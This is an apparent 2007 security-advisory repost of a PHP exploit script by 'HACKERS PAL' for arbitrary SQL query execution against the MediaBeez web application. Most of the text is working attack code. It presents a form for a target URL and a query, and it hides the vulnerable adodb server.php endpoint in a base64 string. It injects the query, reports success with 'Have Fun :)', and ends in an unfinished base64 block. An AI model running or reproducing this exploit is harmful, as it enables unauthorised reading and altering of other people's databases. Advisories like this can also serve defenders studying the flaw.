MediaBeez Sql query Execution .. Wear isn't ?? :)

2007-04-20T00:00:00
ID SECURITYVULNS:DOC:16799
Type securityvulns
Reporter Securityvulns
Modified 2007-04-20T00:00:00

Description

Hello,,

Media Beez Sql query execution :)

Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : security@soqor.net

Sql Execution Exploit ..

<?php /******/ / MediaBeez Sql Query Execution / / By : HACKERS PAL <security@soqor.net> / / Website : WwW.SoQoR.NeT / /******/

error_reporting(0); ini_set("max_execution_time",0); Function get_page($url){if(function_exists("file_get_contents")){$contents=file_get_contents($url);}else{$fp=fopen("$url","r");while($line=fread($fp,1024)){$contents=$contents.$line;}}return$contents;} Echo "<body bgcolor=\"#000000\" text=\"#00FF00\">\n<title>MediaBeez Sql query Execution by : HACKERS PAL :: WwW.SoQoR.NeT ::</title>\n\r"."<h2>MediaBeez Sql Query Execution\n\r"."<h3>By : HACKERS PAL [security@soqor.net]\n\r"."<h3>VisiT My Website [<a href=\"http://WwW.SoQoR.NeT\">WwW.SoQoR.NeT</a>]\n\r"; $expl=base64_decode("L3BocC9hZG9kYi9zZXJ2ZXIucGhwP3NxbD17MX0vKg=="); $action=$_GET['action']; if($action == "") { echo "<form action=\"$PHP_SELF?action=2\" method=\"post\">\n Web URL -- Example : http://localhost/mediabeez\n <br> <input type=\"text\" name=\"url\" style=\"width:250\">\n <br> <br>\n Sql Query <br> <textarea name=\"query\" cols=\"70\" rows=\"5\"></textarea>\n <br>\n <br> <div align=\"center\">\n <input type=\"submit\"> </div>\n </form>\n "; } else { $exploit=$_POST['url'].str_replace('{1}',''.$_POST['query'].'',str_replace(" ","",$expl)); if(!eregi("error",get_page($exploit))) { Echo "<h1> Query Successfully executed</h1><br> Thanks For Using This exploit .. Have Fun :)<br><br><br>"; }

 }

die(base64_decode("PGRpdiBhbGlnbj0iY2VudGVyIj4KPGZvbnQgY29sb3I9IiNGRjAwMDAiPgpHPC9mb250Pjxmb250IGNvbG9yPSJ3aGl0Z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